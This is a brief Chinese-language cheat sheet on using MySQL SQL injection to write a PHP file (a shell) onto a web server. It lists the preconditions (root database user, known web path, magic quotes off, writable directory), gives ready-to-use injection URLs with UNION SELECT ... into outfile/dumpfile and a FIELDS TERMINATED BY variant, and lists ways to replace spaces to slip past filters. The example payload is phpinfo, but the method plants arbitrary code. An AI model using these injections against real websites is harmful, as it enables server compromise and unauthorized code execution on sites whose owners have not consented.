利用条件
过滤了单引号into outfile还能用吗?不能,GPC要off才行,可以测试Hex编码

  1. 数据库当前用户为 root 权限
  2. 知道当前网站的绝对路径
  3. PHP 的 GPC 为 off 状态(魔术引号,GET,POST,Cookie)
  4. 写入的那个路径存在写入权限

基于 UNION 联合查询

  1. ?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile 'C:\info.php'%23
  2. ?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile 'C:\info.php'%23

非联合查询

当我们无法使用联合查询时,我们可以使用 fields terminated by 与 lines terminated by 来写 shell

  1. ?id=1 into outfile 'C:\info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

代替空格的方法
+%0a%0b%a0/**/ 注释符等


参考

  1. wiki.wgpsec.org - MySQL写shell